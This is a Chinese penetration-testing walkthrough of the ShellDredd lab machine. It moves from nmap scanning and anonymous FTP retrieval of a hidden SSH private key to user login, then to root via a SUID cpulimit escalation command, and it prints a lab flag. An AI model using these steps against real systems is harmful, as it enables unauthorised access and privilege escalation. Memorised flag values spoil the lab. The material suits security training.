OSCP系列靶场-Esay保姆级

news2024/12/27 21:19:32

总结

getwebshell : ftp可匿名登录 → 发现隐藏文件夹 → 发现ssh密钥 → 猜解ssh用户名 → ssh密钥登录

提 权 思 路 : 发现suid权限文件 → cpulimit提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.191

图片

  • 启动靶机
    获取目标机器IP → 192.168.179.130

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.179.130

PORT      STATE SERVICE                                      
21/tcp    open  ftp                                          
61000/tcp open  unknown

图片


开放的端口-→21,61000

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,61000 192.168.179.130

PORT      STATE SERVICE VERSION                              
21/tcp    open  ftp     vsftpd 3.0.3    
61000/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

探测了一下只有ftp以及ssh两个服务,估计要通过信息进行爆破

图片

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置

# 探测版本为vsftpd 3.0.3,配置文件位置大致如下
/etc/vsftpd.conf
21-FTP端口匿名登录测试(成功)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.179.130
Name: anonymous

图片

21-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# cd 查看存储的文件
ftp → cd .hannah
ftp → ls -al
# get 下载文件
ftp → get id_rsa

图片

21-FTP端口-PUT上传测试(失败)

测试是否可以利用PUT上传文件

# 建立一个文件尝试上传
touch text.txt
# put 上传文件
ftp → put text.txt

图片

漏洞利用-getwebshell

得到了一个id_rsa不知道是哪个用户的

base64解密获取用户名尝试

去掉id_rsa文件中的头与尾尝试base64解密

图片


利用base64进行解密尝试

echo 'b3Blbn.....wBAgMEBQ==
' | base64 -d

发现没显示全,决定借助网站解密

图片

利用在线网站得到的是root @#CTL{n}#CTL{n}

图片

root用户ssh密钥登录尝试(失败)

获取密钥之后指定密钥进行登录

sudo ssh -i id_rsa root @192.168.179.130 -p61000

图片

思考

尝试文件名用户

我们现在还有一个信息是之前ftp中的.hannah的文件名,尝试利用文件名当用户名进行登录

# .hannah失败
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片

# hannah显示id_rsa开的太大
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片


修改id_rsa权限后登录成功

chmod 600 id_rsa
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片

内网遨游-getshell

FLAG1获取

hannah @ShellDredd:~$ find / -name local.txt 2→/dev/null
/home/hannah/local.txt
hannah @ShellDredd:~$ cat /home/hannah/local.txt
7374ce9b8ccf821ef5d620418751005c

图片

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
hannah @ShellDredd:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

hannah @ShellDredd:~$ uname -a
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
hannah @ShellDredd:~$ id
uid=1000(hannah) gid=1000(hannah) groups=1000(hannah),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

图片

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
hannah @ShellDredd:~$ sudo -l
-bash: sudo: command not found

发现不存在sudo

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
hannah @ShellDredd:~$ find / -perm -u=s -type f 2→/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd

图片

权限提升

Linux提权-suid之cpulimit提权

搜索suid文件权限

图片

发现一个不太常见的cpulimit,前去搜索https://gtfobins.github.io

图片

得到提权的命令

sudo install -m =xs $(which cpulimit) .
./cpulimit -l 100 -f -- /bin/sh -p

图片

# 修改一下使用命令进行提权,提权成功
hannah @ShellDredd:~$ cpulimit -l 100 -f -- /bin/sh -p
Process 1145 detected
# whoami
root

图片

FLAG2获取

cat /root/proof.txt

完结撒花~

图片

总结

ftp的时候也要有养成查看是否存在隐藏文件的习惯

每个文件名可能都有寓意,也要进行信息收集与记录

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1267819.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于SpringBoot实现的教务查询系统

一、系统架构 前端:html | js | css | jquery | bootstrap 后端:springboot | springdata-jpa 环境:jdk1.7 | mysql | maven 二、代码及数据库 三、功能介绍 01. 登录页 02. 管理员端-课程管理 03. 管理员端-学生管理 04. 管理员端-教师管理…

又有两大巨头官宣加入鸿蒙, 鸿蒙已成, 华为余承东说得没错

自从华为发布HarmonyOS 4系统后,宣布下一个鸿蒙版本将不再支持安卓应用,并启动鸿蒙原生应用,随后国内巨头纷纷响应,为鸿蒙系统开发原生应用。 如今,又有两大巨头官宣加入鸿蒙,一家是广汽传祺,M…

智慧工地解决方案,Spring Cloud智慧工地项目平台源码

智慧工地一体化信息管理平台源码,微服务架构JavaSpring Cloud UniApp MySql 智慧工地云平台是专为建筑施工领域所打造的一体化信息管理平台。通过大数据、云计算、人工智能、物联网和移动互联网等高科技技术手段,将施工区域各系统数据汇总,建…

Flutter创建TabBar

使用TabBar和TabBarView来创建一个包含"首页"、"分类"和"我的"的TabBar。每个Tab对应一个Tab控件,TabBarView中的每个页面对应一个Widget。 1.Tab使用自定义图标和颜色 一般UI设计的图会带渐变色之类的,应该保持图片的原…

由于找不到steam_api64.dll如何修复?steam_api64.dll丢失多种解决方法

steam_api64.dll文件介绍 steam_api64.dll是Steam平台的一个关键组件,主要用于支持Steam客户端和相关游戏的应用程序。这个文件缺失或损坏会导致Steam及相关游戏无法正常运行。它位于Steam安装目录的bin子文件夹中。 steam_api64.dll丢失的原因 系统误删&#xf…

品味丰富美食,羊大师温暖心灵

品味丰富美食,羊大师温暖心灵 冬季来临,寒冷的天气让人们渴望寻找一种温暖和满足感,这时候美食便成了一种心灵享受。冬季与美食的结合,使得人们在寒冷的冬日也能感受到温暖与欢乐。本文小编羊大师将带大家领略冬季与美食的完美结…

C库函数—sprintf

函数介绍: C 库函数 int sprintf(char *str, const char *format, ...) 发送格式化输出到 str 所指向的字符串。 参数: str -- 这是指向一个字符数组的指针,该数组存储了 C 字符串。format -- 这是字符串,包含了要被写入到字符串 …

网络入门---网络的大致了解

目录标题 网络发展的简单认识协议作用的理解协议的本质什么是协议分层网络通信所面对的问题OSI七层模型TCP/IP模型协议报头的理解局域网通信局域网通信基本原理报头的问题局域网的特点跨网的网络链接如何查看mac地址 网络发展的简单认识 通过之前的学习我们知道计算机是给人提…

九章正式推出『智能驾驶产业数据库』

为了更好地研究产业变化趋势,在定性分析之外增加更多定量分析的内容,从而帮助自动驾驶产业内的朋友们更快速、更精准地把握市场变化,2022年底,九章决定要做智能驾驶产业数据库。 历时将近一年后,从敲定数据库负责人&am…

【古月居《ros入门21讲》学习笔记】10_话题消息的定义与使用

目录 说明: 1. 话题模型 2. 实现过程(C) 自定义话题消息 Person.msg文件内容 Person.msg文件内容说明 编译配置 在package.xml文件中添加功能包依赖 在CMakeLists.txt中添加编译选项 编译生成语言相关文件 创建发布者代码&#xff…

【Android Jetpack】Hilt 依赖注入框架

文章目录 依赖注入DaggerHiltKoin添加依赖项Hilt常用注解的含义HiltAndroidAppAndroidEntryPointInjectModuleInstallInProvidesEntryPoint Hilt组件生命周期和作用域如何使用 Hilt 进行依赖注入 依赖注入 依赖注入是一种软件设计模式,它允许客户端从外部源获取其依…

高级IO—poll,epoll,reactor

高级IO—poll,epoll,reactor 文章目录 高级IO—poll,epoll,reactorpoll函数poll函数接口poll服务器 epollepoll的系统调用epoll_createepoll_ctlepoll_wait epoll的工作原理epoll的工作方式水平触发边缘触发 epoll服务器 reactor poll函数 poll函数是一个用于多路复用的系统调…

docker-compose Foxmic dt版

Foxmic dt 版前言 实现企业对资产的基本管理,包含对资产的登记、维修、调拨、转移等基本功能的支持,并提供对资产的耗材、库存进行管理,有完善的组织架构,非常适合中小企业的需求系统整体覆盖了基本的资产管理、合同管理、运维服务、运维服务、数据中心设备管理等多个模块。…

白盒测试 接口测试 自动化测试

一、什么是白盒测试 白盒测试是一种测试策略,这种策略允许我们检查程序的内部结构,对程序的逻辑结构进行检查,从中获取测试数据。白盒测试的对象基本是源程序,所以它又称为结构测试或逻辑驱动测试,白盒测试方法一般分为…

JVM执行引擎以及调优

1.JVM内部的优化逻辑 1.1JVM的执行引擎 javac编译器将Person.java源码文件编译成class文件[我们把这里的编译称为前期编译],交给JVM运行,因为JVM只能认识class字节码文件。同时在不同的操作系统上安装对应版本的JDK,里面包含了各自屏蔽操作…

Linux下Docker 离线安装详细步骤,亲测成功

1.离线原因:公司新创不能使用开元linux,使用了一个变种centOS,致使yum被禁 2.步骤: 2.1 下载docker tar包,下载地址:Index of linux/https://download.docker.com/linux/ 2.2 新建自己的软件目录&am…

数字化转型的核心是数据,还是应用?_光点科技

数字化转型是当今世界各行各业的热门话题。它不仅仅是将传统的业务流程、产品和服务数字化,更是一种全面的业务战略转变。在这个转变过程中,数据和应用都扮演着至关重要的角色。但究竟哪一个是数字化转型的核心?这个问题值得深入探讨。 我们来…

【JavaEE初阶】死锁问题

目录 一、死锁的三种典型场景 1、一个线程,一把锁 2、两个线程,两把锁 3、N个线程,M把锁 死锁,是多线程代码中的一类经典问题。我们知道加锁是能解决线程安全问题的,但是如果加锁的方式不当,就可能产生死…

力扣:185. 部门工资前三高的所有员工(Python3)

题目: 表: Employee ----------------------- | Column Name | Type | ----------------------- | id | int | | name | varchar | | salary | int | | departmentId | int | ----------------------- id 是该表的主键列(具…

Condition 源码解析

Condition 源码解析 文章目录 Condition 源码解析一、Condition二、Condition 源码解读2.1. lock.newCondition() 获取 Condition 对象2.2. condition.await() 阻塞过程2.3. condition.signal() 唤醒过程2.4. condition.await() 被唤醒后 三、总结 一、Condition 在并发情况下…